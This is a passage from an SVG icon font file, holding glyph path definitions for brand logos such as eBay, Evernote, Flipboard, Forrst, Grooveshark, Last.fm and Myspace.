193.963623046875 203.31573515625 166.3490296875 193.231201171875C150.892639453125 223.6358642578125 131.984710546875 251.37176484375 109.879303125 276.0429380859375C122.714996484375 280.1788330078125 136.392975 282.421875 150.5859375 282.421875C185.153961328125 282.421875 216.650390625 268.922424609375 240.1885986328125 246.8833921875zM92.4774169921875 269.03915390625C114.7590638671875 245.034026953125 133.8455203125 217.5407408203125 149.281311328125 187.68310546875C110.7307435546875 176.6029359375 65.5197140625 172.817230078125 20.725250390625 178.2051087890625C29.587555078125 218.20907578125 56.5132142578125 251.49765 92.4774169921875 269.03915390625zM18.072509765625 160.816955859375C66.0736083984375 154.964446875 115.049743359375 159.10263046875 157.102203515625 171.6705322265625C160.5354310546875 164.2204283203125 163.753509375 156.64443984375 166.7404171875 148.951721484375C118.4394837890625 134.31015 74.68643203125 101.3236998046875 58.74481171875 54.139709765625C33.39386015625 78.1585693359375 17.578125 111.989593359375 17.578125 149.4140625C17.578125 153.2547 17.7520751953125 157.0564271484375 18.072509765625 160.816955859375zM18.072509765625 160.816955859375" />
    <glyph glyph-name="085-ebay"
      unicode="&#xF155;"
      horiz-adv-x="300" d="M232.9161092577316 85.9747023809524L288.9729240684266 184.281994047619L300.0001892301017 177.9901416666667L243.9433744194068 79.685175zM232.9161092577316 85.9747023809524M226.6772439813919 177.6367190476191L237.704509143067 183.9285714285715L268.8755935458016 129.2666482142857L257.8483283841265 122.9747952380952zM226.6772439813919 177.6367190476191M88.8619981365794 220.7891554761905H101.5582299503567V106.5034410714286H88.8619981365794zM88.8619981365794 220.7891554761905M38.0840456173872 106.5034410714286C17.0499558740792 106.5034410714286 0 123.5584077380953 0 144.5986791666667C0 165.6389511904762 17.0499558740792 182.6939172619048 38.0840456173872 182.6939172619048S76.1680912347744 165.6389511904762 76.1680912347744 144.5986791666667V138.2486976190477H38.0840456173872V150.9486607142858H62.6792167746257C59.7736349785456 162.2209821428572 49.5762039140402 170.0730095238096 37.9399284480125 170.0009297619048C26.3013292601389 169.9288505952381 16.2038503684195 161.9512648809524 13.4354116008605 150.6440660714286C10.6669728333015 139.3391928571429 15.9388609839505 127.5971910714286 26.2246214465701 122.1540178571429C36.512706821162 116.7108446428572 49.1833693637497 118.9615886904763 56.9680047601883 127.6157922619048L66.4099840340573 119.1220238095238C59.1785717657739 111.0956101190476 48.8858377573639 106.5104166666667 38.0840456173872 106.5034410714286zM38.0840456173872 106.5034410714286M190.420228086936 106.5034410714286C176.4687854037817 106.6755023809524 165.2021001288272 117.9454988095239 165.0300893713538 131.9010416666667C164.9859243747651 145.8217077380952 176.1875246108227 157.1661083333334 190.101776438242 157.2963166666667H215.8103668025183V144.5986791666667H190.101776438242C183.3585010690906 144.5986791666667 177.7263211851311 138.8044083333334 177.7263211851311 131.9010416666667C177.8100019494271 124.9232702380952 183.4445067453589 119.2871095238095 190.420228086936 119.2010785714286C193.2188847595028 119.2150297619048 195.9199141712559 120.2287946428572 198.0375019547827 122.0586869047619L211.7634722113017 133.4077380952381L219.8549370768258 123.6467630952381L206.1289674153699 112.2977119047619C201.7380513092065 108.5751488095239 196.1756050979621 106.5243678571429 190.4202280869361 106.5034410714286zM190.420228086936 106.5034410714286M123.7731482565084 106.5034410714286C104.4940296514445 106.5034410714286 88.8619981365794 123.5677083333334 88.8619981365794 144.5986791666667S104.4940296514445 182.6939172619048 123.7731482565084 182.6939172619048S158.6842983764375 165.62965 158.6842983764375 144.5986791666667S143.0522668615724 106.5034410714286 123.7731482565084 106.5034410714286zM123.7731482565084 169.9962797619048C111.5534323523809 169.9962797619048 101.5582299503567 158.5681732142857 101.5582299503567 144.5986791666667C101.5582299503567 130.6315107142858 111.5534323523809 119.2010785714286 123.7731482565084 119.2010785714286S145.9880665626602 130.6315107142858 145.9880665626602 144.5986791666667C145.9880665626602 158.5681732142857 135.992864160636 169.9962797619048 123.7731482565084 169.9962797619048zM123.7731482565084 169.9962797619048M222.1561577974346 106.5034410714286H209.4622508956296V154.1224886904762C209.4599265787205 161.2699964285715 204.6808251511481 167.5362726190476 197.791108890776 169.426618452381C190.8990683134948 171.3169642857143 183.5932725485518 168.3663505952381 179.9461860534162 162.2186571428572L169.0769839625704 168.7267488095238C175.6645199827384 179.7479535714286 188.7907777976044 185.0190660714286 201.1685573676244 181.6150482142857C213.5463369376444 178.2087053571429 222.130588526245 166.9619607142858 222.1561577974346 154.1224886904762zM222.1561577974346 106.5034410714286M6.3481159068886 150.9486607142857H44.4321615242758V138.2486976190476H6.3481159068886zM6.3481159068886 150.9486607142857" />
    <glyph glyph-name="086-ebay-1"
      unicode="&#xF156;"
      horiz-adv-x="300" d="M299.2867741935484 182.6603225806452C298.408064516129 184.0954838709678 296.8451612903226 184.9712903225807 295.1612903225807 184.9712903225807H279.5409677419355C277.7061290322581 184.9712903225807 276.028064516129 183.9329032258065 275.2093548387097 182.2896774193548L254.8403225806452 141.3967741935484L234.4190322580645 182.2954838709678C233.5993548387097 183.9348387096774 231.9232258064516 184.9722580645162 230.0893548387097 184.9722580645162H212.8248387096774C211.7245161290323 184.9722580645162 210.6774193548387 184.5987096774194 209.8374193548387 183.9406451612903C204.3377419354839 186.39 197.4996774193549 187.6248387096774 189.3648387096774 187.6248387096774C163.6567741935484 187.6248387096774 155.5103225806452 176.4425806451613 152.9312903225807 169.2058064516129C146.3874193548387 180.4925806451613 134.2345161290323 187.4322580645161 119.0729032258065 187.4322580645161C109.2396774193549 187.4322580645161 102.2322580645161 185.0409677419355 97.4187096774194 182.2858064516129V208.1777419354839C97.4187096774194 210.8506451612904 95.2529032258065 213.0164516129032 92.58 213.0164516129032H77.7870967741935C75.1141935483871 213.0164516129032 72.9483870967742 210.8506451612904 72.9483870967742 208.1777419354839V176.3748387096774C66.3493548387097 183.1016129032258 56.2693548387097 187.6229032258065 42.3725806451613 187.6229032258065C15.0474193548387 187.6229032258065 0 173.5064516129032 0 147.8738709677419C0 122.941935483871 15.238064516129 109.2116129032258 42.9077419354839 109.2116129032258C58.0529032258065 109.2116129032258 67.2183870967742 113.7706451612903 72.75 118.9925806451613C72.6890322580645 117.4674193548387 72.6387096774194 116.4241935483871 72.6377419354839 116.398064516129C72.5738709677419 115.0751612903226 73.0538709677419 113.7832258064516 73.9664516129032 112.8251612903226C74.8790322580645 111.8651612903226 76.1467741935484 111.3222580645161 77.4706451612903 111.3222580645161H91.9529032258065C94.1651612903226 111.3222580645161 96.06 112.8154838709678 96.6222580645161 114.8912903225806C101.5258064516129 111.8341935483871 108.8196774193549 109.0132258064516 119.041935483871 109.0132258064516C131.9632258064516 109.0132258064516 142.9093548387097 114.1509677419354 149.9351612903226 123.0193548387097C154.7564516129032 114.1316129032258 165.2264516129032 108.8322580645161 179.248064516129 108.8322580645161C190.4003225806452 108.8322580645161 198.151935483871 111.7925806451613 203.2877419354839 115.016129032258C203.8045161290322 112.8832258064516 205.7274193548387 111.3241935483871 207.9890322580645 111.3241935483871H221.6167741935484C221.6245161290323 111.3241935483871 221.6322580645161 111.3241935483871 221.6322580645161 111.3241935483871C224.3090322580645 111.3241935483871 226.4748387096774 113.49 226.4748387096774 116.1629032258064C226.4748387096774 116.46 226.4487096774194 116.7503225806451 226.3974193548387 117.031935483871C226.2783870967742 118.3887096774193 225.9174193548387 122.7406451612903 225.9174193548387 125.6148387096774V145.2619354838709L241.2783870967742 116.4396774193548L229.5077419354838 94.078064516129C228.7190322580645 92.578064516129 228.7712903225806 90.7741935483871 229.6470967741935 89.3235483870967C230.5238709677419 87.8719354838709 232.0954838709677 86.9854838709677 233.79 86.9854838709677H250.1690322580645C251.9883870967741 86.9854838709677 253.6548387096774 88.0064516129032 254.4803225806451 89.6274193548387L299.4735483870967 177.9377419354838C300.2370967741936 179.4358064516129 300.1664516129033 181.2251612903226 299.2867741935484 182.6603225806452zM41.8645161290323 168.1451612903226C49.4651612903226 168.1451612903226 54.9338709677419 164.7116129032258 56.8703225806452 159.0764516129032H25.951935483871C28.408064516129 164.998064516129 35.3012903225807 168.1451612903226 41.8645161290323 168.1451612903226zM56.431935483871 136.1032258064516C56.1706451612903 135.3145161290323 53.5422580645161 128.398064516129 41.9903225806452 128.398064516129C33.6387096774194 128.398064516129 27.3503225806452 132.8283870967742 25.3461290322581 139.6287096774194H60.9996774193548C58.8512903225807 139.6287096774194 57.0358064516129 138.1645161290323 56.431935483871 136.1032258064516zM115.4409677419355 128.6912903225807C103.0132258064516 128.6912903225807 97.4506451612903 138.5332258064516 97.4506451612903 148.286129032258C97.4506451612903 157.9654838709678 102.9832258064516 167.7338709677419 115.3403225806452 167.7338709677419C126.0483870967742 167.7338709677419 133.2396774193549 159.9725806451613 133.2396774193549 148.4206451612903C133.2406451612903 136.9887096774194 125.7551612903226 128.6912903225807 115.4409677419355 128.6912903225807zM176.7358064516129 162.8283870967742C176.7396774193549 162.8816129032258 177.4722580645161 168.243870967742 188.2896774193549 168.243870967742C191.1512903225807 168.243870967742 200.0167741935484 167.703870967742 201.2893548387097 161.191935483871H188.2896774193549C183.7964516129033 161.191935483871 179.6632258064516 160.948064516129 175.891935483871 160.4622580645161C176.3632258064516 161.1416129032258 176.6651612903226 161.9496774193549 176.7358064516129 162.8283870967742zM157.798064516129 154.7467741935484C157.6267741935484 155.9816129032258 157.408064516129 157.1922580645161 157.14 158.3748387096774H165.9783870967742C162.8767741935484 157.4109677419355 160.1487096774194 156.2012903225806 157.798064516129 154.7467741935484zM182.851935483871 128.2161290322581C178.8009677419355 128.2161290322581 172.0074193548387 129.1190322580645 172.0074193548387 135.1625806451613C172.0074193548387 136.7322580645162 172.0074193548387 139.1032258064516 179.0061290322581 140.5945161290323C184.4980645161291 141.7654838709678 192.3174193548387 141.9387096774194 201.4229032258065 141.9648387096774C201.2341935483871 138.5816129032258 199.3074193548387 128.2161290322581 182.851935483871 128.2161290322581z" />
    <glyph glyph-name="087-evernote"
      unicode="&#xF157;"
      horiz-adv-x="300" d="M269.973 245.564C269.973 264.759 241.443 266.944 241.443 266.944L174.46 271.248C174.46 271.248 173.069 289.779 159.499 296.2C151.89 299.841 128.261 300.238 106.086 299.906C100.989 299.841 96.886 295.6720000000001 96.886 290.574V247.949C96.886 240.999 91.261 235.373 84.31 235.373H43.865C33.277 235.373 25.002 231.268 25.002 222.531C25.002 213.794 37.445 120.068 54.653 102.927C64.582 92.997 125.412 85.319 138.254 85.319C151.095 85.319 146.791 123.447 150.367 123.447C153.939 123.447 157.846 101.535 178.034 96.438C198.22 91.343 225.16 92.203 226.551 77.575C228.4050000000001 58.314 230.1250000000001 33.359 217.615 31.639L189.416 30.449C181.078 30.449 182.069 53.351 183.791 53.351C186.639 53.351 189.02 53.415 190.939 53.415C194.118 53.481 196.699 56.061 196.831 59.241L197.362 71.155C197.493 74.595 194.78 77.508 191.339 77.508C179.026 77.708 152.88 75.259 151.493 52.091C149.77 24.291 154.472 11.25 157.912 8.4059999999999C161.353 5.5579999999999 167.312 -0.001 221.522 -0.001C298.037 0 269.973 226.369 269.973 245.564L269.973 245.564zM232.838 153.23C230.92 151.443 222.645 158.459 216.094 158.459C209.539 158.459 203.914 153.099 202.193 155.148C200.537 157.136 203.715 173.419 216.094 173.419C228.469 173.419 234.758 155.018 232.838 153.23L232.838 153.23zM232.838 153.23M73.586 292.162L40.094 257.7440000000001C37.446 255.031 39.365 250.531 43.137 250.531H76.631C79.015 250.531 80.868 252.449 80.868 254.765V289.1840000000001C80.93 293.023 76.299 294.943 73.586 292.162L73.586 292.162zM73.586 292.162" />
    <glyph glyph-name="088-evernote-1"
      unicode="&#xF158;"
      horiz-adv-x="300" d="M100.7625 284.9875L40.2 223.975C40.1375 223.925 40.075 223.8625 40.025 223.8C31.425 215 44.5625 201.95 53.3 210.55C56.1 212.025 66.825 210.4 73.25 209.4375C120.025 202.3875 118.5 217.0125 115.1625 258.6625C114.6625 264.7625 114.1625 271.0625 114.1125 271.825C122.7625 280.6625 109.45 293.775 100.7625 284.9875zM97.8625 227.1500000000001C94.7625 224.675 76.4 227.95 71.2875 228.6875L96.6875 254.275C98.9125 225.5 97.825 228.4625 97.8625 227.1500000000001zM25.025 199C24.5375 151.575 35.8375 112.3375 75.9625 86.3375C95.3125 73.8125 116.2875 71.5375 134.9625 79.9375C146.325 85.0125 152.85 93.7875 156.5625 102.625C164.1875 96.975 174.1125 93.9875 183.525 91.4875C166.5875 91.3 142.3375 75.45 142.3375 46.9125C142.3375 21.7 163.2 2.0125 191.95 0.0875C229.1625 -2.3 263.9625 23.925 271 76.475C275.4875 95.5375 279.4375 165.275 266.1375 229.275C258.4 266.8375 197.55 277.1 176.725 279.525C167.175 300.2625 148.6875 300.05 125.6625 299.975C113.2625 299.975 113.25 281.225 125.6625 281.225C143.95 281.2875 157.4625 282.3 160.65 268.9375C161.475 264.825 164.9375 261.775 169.1125 261.45C187.9 259.975 242.6875 250.2125 247.7875 225.4875C261.8625 157.75 254.525 89.6125 252.7625 80.525C252.35 79.225 245.6 15.3625 193.2 18.8125C177.7375 19.85 161.0875 29.075 161.0875 46.925C161.0875 66.675 181.9499999999999 75.6125 186.2874999999999 72.4375L186.7 71.125C186.1375 70.7375 184.1375 70.2625 182.925 69.9875C168.1625 66.5 163.3125 53.4125 167.4625 42.5625C171.3625 32.3375 182.1 25.4625 194.2625 25.4625C215.2375 25.6375 231.05 42.0125 231.05 63.575C231.05 97.8625 206.1125 104.7375 187.9 109.7625C169.7125 114.775 162.2125 118.075 161.3 130.6499999999999C160.925 135.7874999999999 156.65 139.8375 151.3125 139.3C146.1624999999999 138.95 142.2624999999999 134.4875 142.5999999999999 129.3499999999999C142.6124999999999 129.0999999999999 143.9499999999999 104.5124999999999 127.3124999999999 97.0749999999999C111.0124999999999 89.775 95.9249999999999 95.775 86.1624999999999 102.0999999999999C51.4374999999999 124.5999999999999 43.3499999999999 158.325 43.7749999999999 198.8374999999999C43.8874999999999 211.2749999999999 25.1374999999999 211.4875 25.0249999999999 199zM205.125 71.625C205.125 77.6125 202.825 82.8625 198.65 86.4625C207.6625 82.375 212.2875 76.5125 212.2875 63.55C212.2875 52.4125000000001 204.6375 44.275 194.1750000000001 44.1875000000001C189.4375 44.1875000000001 185.9 46.7875000000001 184.9750000000001 49.2250000000001C184.2875000000001 51.025 186.5500000000001 51.5625 187.225 51.7125000000001C192.125 52.875 205.125 55.9375000000001 205.125 71.625zM211.3875 164.975C213.025 169.7 222.2875 168.5 222.8375 162.9625C224.025 150.525 242.6875000000001 152.3875 241.4875000000001 164.7875C240.3625 176.325 231.5000000000001 185.05 219.4250000000001 186.475C207.6000000000001 187.9375 197.3125000000001 181.7 193.6500000000001 171.1125C189.6250000000001 159.3875 207.3250000000001 153.2375 211.3875000000001 164.975z" />
    <glyph glyph-name="089-flipboard"
      unicode="&#xF159;"
      horiz-adv-x="300" d="M106.6875 28.125H63.46875A9.375 9.375 0 1 0 63.46875 46.875H97.3125V253.125H46.875V37.5A9.375 9.375 0 0 0 28.125 37.5V262.5A9.375 9.375 0 0 0 37.5 271.875H106.6875A9.375 9.375 0 0 0 116.0625 262.5V37.5A9.375 9.375 0 0 0 106.6875 28.125zM262.5 175.21875H132.65625A9.375 9.375 0 0 0 123.28125 184.59375V262.5A9.375 9.375 0 0 0 132.65625 271.875H262.5A9.375 9.375 0 0 0 271.875 262.5V184.59375A9.375 9.375 0 0 0 262.5 175.21875zM142.03125 193.96875H253.125V253.125H142.03125zM193.3125 88.6875H132.65625A9.375 9.375 0 0 0 123.28125 98.0625V158.625A9.375 9.375 0 0 0 132.65625 168H193.3125A9.375 9.375 0 0 0 202.6875 158.625V98.0625A9.375 9.375 0 0 0 193.3125 88.6875zM142.03125 107.4375H183.9375V149.25H142.03125z" />
    <glyph glyph-name="090-forrst"
      unicode="&#xF15A;"
      horiz-adv-x="300" d="M277.8997478928098 1.1468472862413L211.7319145720703 155.7146586248823L149.9763005502394 300L84.1907496582471 146.242091596656L22.1023129289085 1.1478776971005C21.8890178810631 0.6532804847052 21.9044740439505 0.3245794206343 21.9652682846407 0.2339032650286C22.0260625253309 0.1432271094228 22.3197296201906 1e-13 22.8586344995294 1e-13H120.3870223186992C121.8079588934762 1e-13 122.9630494665907 1.1561209839737 122.9630494665907 2.5760271478915V57.0167544805699C122.9630494665907 59.0961235943479 121.5276871397856 62.2244509627473 119.9542497578535 63.5794412425381L102.6701380063611 78.4729998007872C99.6633991193422 81.064483111566 98.4413318403825 85.6003517135733 99.8869982757792 88.7997774312544C100.8452803747948 90.9172717468212 102.7906960768824 92.1815858710063 105.0936643470974 92.1815858710063C106.6794666593393 92.1815858710063 108.2529040412714 91.5860083944138 109.6480803445694 90.4597693253557L122.965110288309 79.7125840643526V119.9398240058253C122.965110288309 124.2005729084377 126.4303820076525 127.6679054494996 130.6931917319833 127.6679054494996H158.6894547752674C162.9502036778799 127.6679054494996 166.4175362189417 124.2005729084377 166.4175362189417 119.9398240058253V97.9395217519732C166.4175362189417 97.4304987875499 166.538094289463 97.1862914139298 166.5803411346885 97.1409533361269C166.6926559183365 97.1625919641691 166.9348024702383 97.1832001813523 167.3253281858587 97.3748566011554L184.3693542071676 105.7665226381266C185.4605593070144 106.3033666957472 186.6661400122276 106.5867296820152 187.8593557871309 106.5867296820152C190.7671752316707 106.5867296820152 193.3009555343368 105.0009273697733 194.4725326811978 102.4465388499241C196.1469503273272 98.799914819369 194.4508940531555 94.291867310559 190.6888640063749 92.39694174057L169.6015057737356 81.781649069539C167.9353314144794 80.9428946301856 166.4175362189417 78.4802126768013 166.4175362189417 76.6141386108688V62.3831342350573C166.4175362189417 61.8823545575073 166.5339726460264 61.637116773028 166.5741586695335 61.5917786952251C166.662774003421 61.6226910209998 166.9018293227453 61.6443296490421 167.294415860084 61.8401077122819L204.9724193360033 80.7038393108612C206.0687764901459 81.2530482987917 207.286722125669 81.5436241610738 208.4902420091638 81.5436241610738C211.3846661125346 81.5436241610738 213.9019598414542 79.9567914379727 215.0632328797236 77.4013725072644C216.7191031303882 73.7516572441318 215.0189252127798 69.238457681026 211.2692600963091 67.3414712893188L169.6004753628764 46.2489610023837C167.9343010036202 45.4050545087345 166.4165058080826 42.9361900901953 166.4165058080826 41.0680552025444V2.5739663261731C166.4165058080826 1.1540601622554 167.5715963811971 -0.0020608217183 168.992532955974 -0.0020608217183H277.143426322189C277.6813007906687 -0.0020608217183 277.9770287072467 0.1421966985636 278.0347317153594 0.2318424433103C278.0955259560496 0.3235490097751 278.110982118937 0.6512196629869 277.8997478928098 1.1468472862413z" />
    <glyph glyph-name="091-forrst-1"
      unicode="&#xF15B;"
      horiz-adv-x="300.5870782778865" d="M-0.587084148728 -0.2339166340508H140.6204136986301V123.2578585127202H158.1801921722113V-0.2339166340509H300L149.3831031311155 299.706457925636zM271.5355919765167 17.3235686888454H175.7376774951076V40.6097113502935L225.8393471624266 90.7113810176125L213.4257275929549 103.1272931506849L175.7376774951076 65.4392430528376V93.2821673189824L208.2818618395303 125.8286448140901L195.8659491193738 138.2422637964775L175.7353843444227 118.1139921722114V140.8130500978474H123.0629283757338L123.0606346379648 82.9967283757339L102.9323630136986 103.1272931506849L90.5164508806262 90.7113810176125L123.0675146771037 58.1671966731898L123.0652215264188 17.3235686888454H27.8222847358121L149.4175021526419 260.5117109589042zM271.5355919765167 17.3235686888454" />
    <glyph glyph-name="092-grooveshark"
      unicode="&#xF15C;"
      horiz-adv-x="300" d="M150 300C67.18 300 0 232.838 0 150.006C0 67.173 67.18 0 150 0C232.828 0 300 67.173 300 150.006C300 232.838 232.828 300 150 300zM100.366 236.877C99.422 237.136 96.834 238.317 96.08 237.136L96.068 234.244C96.271 232.49 96.478 230.746 96.687 228.991C99.212 208.044 100.174 185.937 93.671 165.597C90.185 154.64 83.812 144.628 75.323 136.865C68.303 130.431 58.257 123.918 48.29 124.4C46.433 124.457 44.6 124.772 42.776 125.402C32.094 128.99 31.471 140.533 31.421 150.006C31.325 160.198 32.573 170.368 35.093 180.245C35.853 183.305 36.804 186.275 37.827 189.2670000000001C49.5 223.096 76.482 250.646 110.395 262.662C123.091 267.162 136.536 269.423 150 269.423C189.668 269.423 227.377 249.038 249.174 215.918C254.63 207.616 259.0060000000001 198.627 262.213 189.245H262.168C263.197 186.264 264.152 183.305 264.94 180.245C267.444 170.357 268.676 160.186 268.608 149.994C268.456 130.791 262.2920000000001 109.652 238.239 119.8C226.848 124.592 217.36 134.358 210.301 144.223C202.167 155.575 193.864 166.712 184.786 177.298C176.225 187.22 167.145 196.715 157.247 205.332C147.414 213.916 136.704 222.084 124.87 227.753C116.971 231.59 108.814 234.459 100.366 236.877z" />
    <glyph glyph-name="093-grooveshark-1"
      unicode="&#xF15D;"
      horiz-adv-x="300" d="M287.8125 121.40625L281.484375 128.14453125C277.44140625 124.27734375 266.25 115.95703125 251.42578125 122.109375C242.16796875 126.03515625 232.6171875 134.47265625 224.47265625 145.95703125C216.328125 157.32421875 206.6015625 170.625 195.64453125 183.3984375C185.33203125 195.3515625 174.84375 206.07421875 164.35546875 215.2734375C150.9375 227.109375 138.515625 235.6640625 126.50390625 241.40625C117.94921875 245.625 108.515625 249.140625 97.91015625 252.12890625C88.0078125 255.76171875 83.73046875 250.546875 82.3828125 248.14453125C82.3828125 248.14453125 81.73828125 246.03515625 81.73828125 245.390625C81.62109375 242.16796875 81.796875 233.37890625 81.796875 233.37890625C84.2578125 212.87109375 85.83984375 188.96484375 78.75 166.9921875C75.52734375 156.73828125 69.2578125 146.953125 61.0546875 139.39453125C52.96875 131.953125 44.296875 127.44140625 38.4375 127.96875C36.85546875 128.14453125 35.5078125 128.203125 34.453125 128.61328125C29.70703125 130.25390625 22.32421875 134.00390625 16.69921875 138.6328125L4.8046875 124.16015625C12.7734375 117.65625 22.20703125 113.02734375 28.18359375 110.9765625C31.40625 109.8046875 34.3359375 109.5703125 37.08984375 109.3359375C52.67578125 108.33984375 66.73828125 119.23828125 73.7109375 125.68359375C84.43359375 135.52734375 92.34375 147.94921875 96.5625 161.3671875C104.23828125 185.2734375 103.18359375 210.17578125 100.78125 231.6796875C107.109375 229.5703125 112.79296875 227.28515625 118.2421875 224.58984375C128.7890625 219.55078125 139.8046875 211.875 151.93359375 201.2109375C161.71875 192.5390625 171.62109375 182.4609375 181.34765625 171.2109375C191.8359375 159.0234375 201.26953125 146.1328125 209.12109375 135.17578125C216.2109375 125.09765625 228.10546875 111.62109375 244.1015625 104.9414062499999C249.9609375 102.4804687499999 255.99609375 101.3085937499999 261.9140625 101.3085937499999C273.57421875 101.3085937499999 284.94140625 105.87890625 294.31640625 114.55078125L295.78125 117.5390625L296.8359375 121.5234375L287.8125 121.40625zM150 300C67.265625 300 0 232.734375 0 150S67.265625 0 150 0S300 67.265625 300 150S232.734375 300 150 300zM150 18.75C77.63671875 18.75 18.75 77.63671875 18.75 150S77.63671875 281.25 150 281.25S281.25 222.36328125 281.25 150S222.36328125 18.75 150 18.75z" />
    <glyph glyph-name="094-lastfm"
      unicode="&#xF15E;"
      horiz-adv-x="300" d="M251.8733333333333 171.0904761904762C249.3133333333333 171.9666666666667 246.8361904761905 172.7790476190476 244.4571428571429 173.5609523809524C225.5761904761905 179.752380952381 219.047619047619 182.4295238095238 219.047619047619 192.9428571428572C219.047619047619 202.0590476190477 225.5228571428572 208.4285714285715 234.7933333333333 208.4285714285715C242.3990476190476 208.4285714285715 247.652380952381 205.2790476190476 252.9257142857143 197.5619047619048C254.9790476190476 194.5542857142857 258.9714285714286 193.5733333333334 262.1838095238096 195.2866666666667L280.42 205.0057142857143C282.0980952380953 205.8990476190476 283.3495238095238 207.4257142857143 283.8980952380953 209.2466666666667C284.4466666666667 211.0657142857143 284.2476190476191 213.0304761904762 283.3438095238095 214.7028571428572C272.7504761904762 234.3180952380953 256.7609523809524 244.2619047619048 235.82 244.2619047619048C220.0180952380953 244.2619047619048 206.6314285714286 239.2838095238096 197.1019047619048 229.8647619047619C187.6561904761905 220.5285714285715 182.6638095238095 207.5285714285715 182.6638095238095 192.2733333333334C182.6638095238095 160.2666666666667 202.9466666666667 147.0276190476191 237.9619047619048 134.9819047619048C258.0047619047619 128.0190476190477 262.6904761904762 125.3276190476191 262.6904761904762 114.8666666666667C262.6904761904762 101.9352380952381 251.5219047619048 92.5485714285715 236.1333333333334 92.5485714285715C235.6704761904762 92.5485714285715 235.2 92.5561904761905 234.7238095238095 92.572380952381C218.1742857142857 93.1504761904762 213.0809523809524 101.2276190476191 205.4009523809524 119.5219047619048C193.0704761904762 148.8685714285715 178.6561904761905 184.0304761904762 177.5866666666667 186.7057142857143C177.5752380952381 186.7352380952381 177.5628571428571 186.7666666666667 177.5514285714286 186.7971428571429C161.9171428571429 224.4495238095239 130.8304761904762 246.0438095238096 92.2609523809524 246.0438095238096C41.3876190476191 246.0438095238096 0 202.952380952381 0 149.9828571428572C0 97.032380952381 41.3876190476191 53.9561904761905 92.26 53.9561904761905C120.0857142857143 53.9561904761905 146.1257142857143 66.8038095238096 163.7038095238095 89.2076190476191C165.2980952380953 91.2390476190477 165.6695238095238 93.9733333333333 164.68 96.3580952380953L153.6885714285714 122.8161904761905C152.6171428571429 125.3980952380953 150.1371428571429 127.1152380952382 147.3457142857143 127.2152380952381C144.5409523809524 127.3152380952381 141.9609523809524 125.7752380952381 140.7066666666667 123.2771428571429C131.2047619047619 104.3247619047619 112.6409523809524 92.5514285714286 92.26 92.5514285714286C62.1095238095238 92.5514285714286 37.58 118.3161904761905 37.58 149.9828571428572C37.58 181.6590476190477 62.1095238095238 207.4304761904762 92.26 207.4304761904762C114.192380952381 207.4304761904762 134.26 193.8371428571429 142.1952380952381 173.6057142857143C142.2171428571429 173.5533333333334 142.2380952380952 173.5000000000001 142.26 173.4476190476191L169.4733333333334 108.7028571428572L172.6095238095238 101.4485714285715C185.7628571428572 69.4466666666667 205.2504761904762 55.1133333333334 235.8085714285715 54.9752380952382H235.9352380952382C272.4571428571429 54.9752380952382 300.0000000000001 80.4028571428572 300.0000000000001 114.1209523809525C300 147.9295238095238 281.5809523809524 160.9857142857143 251.8733333333333 171.0904761904762z" />
    <glyph glyph-name="095-myspace"
      unicode="&#xF15F;"
      horiz-adv-x="300" d="M229.6875 194.53125C208.166015625 194.53125 188.876953125 184.810546875 175.96875 169.529296875C171.22265625 193.763671875 149.82421875 212.109375 124.21875 212.109375C107.14453125 212.109375 91.9453125 203.953125 82.30078125 191.33203125C80.484375 194.185546875 78.322265625 196.869140625 75.826171875 199.306640625C67.3828125 207.5625 56.267578125 212.109375 44.53125 212.109375S21.6796875 207.5625 13.236328125 199.306640625C4.69921875 190.962890625 0 179.90625 0 168.1640625V97.8515625C0 92.994140625 3.9375 89.0625 8.7890625 89.0625H71.484375V62.6953125C71.484375 57.837890625 75.421875 53.90625 80.2734375 53.90625H159.375V8.7890625C159.375 3.931640625 163.3125 0 168.1640625 0H291.2109375C296.0625 0 300 3.931640625 300 8.7890625V124.21875C300 162.990234375 268.458984375 194.53125 229.6875 194.53125zM71.484375 106.640625H17.578125V168.1640625C17.578125 182.455078125 29.923828125 194.53125 44.53125 194.53125S71.484375 182.455078125 71.484375 168.1640625V106.640625zM159.375 71.484375H89.0625V159.375C89.0625 178.7578125 104.8359375 194.53125 124.21875 194.53125S159.375 178.7578125 159.375 159.375V71.484375zM282.421875 17.578125H176.953125V124.21875C176.953125 153.298828125 200.607421875 176.953125 229.6875 176.953125S282.421875 153.298828125 282.421875 124.21875V17.578125zM229.6875 300C200.607421875 300 176.953125 276.345703125 176.953125 247.265625C176.953125 218.185546875 200.607421875 194.53125 229.6875 194.53125S282.421875 218.185546875 282.421875 247.265625C282.421875 276.345703125 258.767578125 300 229.6875 300zM229.6875 212.109375C210.3046875 212.109375 194.53125 227.8828125 194.53125 247.265625C194.53125 266.6484375 210.3046875 282.421875 229.6875 282.421875S264.84375 266.6484375 264.84375 247.265625C264.84375 227.8828125 249.0703125 212.109375 229.6875 212.109375zM124.21875 282.421875C104.8359375 282.421875 89.0625 266.6484375 89.0625 247.265625C89.0625 227.8828125 104.8359375 212.109375 124.21875 212.109375S159.375 227.8828125 159.375 247.265625C159.375 266.6484375 143.6015625 282.421875 124.21875 282.421875zM124.21875 229.6875C114.52734375 229.6875 106.640625 237.57421875 106.640625 247.265625C106.640625 256.95703125 114.52734375 264.84375 124.21875 264.84375S141.796875 256.95703125 141.796875 247.265625C141.796875 237.57421875 133.91015625 229.6875 124.21875 229.6875zM44.53125 264.84375C29.994140625 264.84375 18.1640625 253.013671875 18.1640625 238.4765625C18.1640625 223.939453125 29.994140625 212.109375 44.53125 212.109375S70.8984375 223.939453125 70.8984375 238.4765625C70.8984375 253.013671875 59.068359375 264.84375 44.53125 264.84375zM44.53125 229.6875C39.685546875 229.6875 35.7421875 233.630859375 35.7421875 238.4765625C35.7421875 243.322265625 39.685546875 247.265625 44.53125 247.265625S53.3203125 243.322265625 53.3203125 238.4765625C53.3203125 233.630859375 49.376953125 229.6875 44.53125 229.6875z" />
    <glyph glyph-name="096-myspace-logo"
      unicode="&#xF160;"
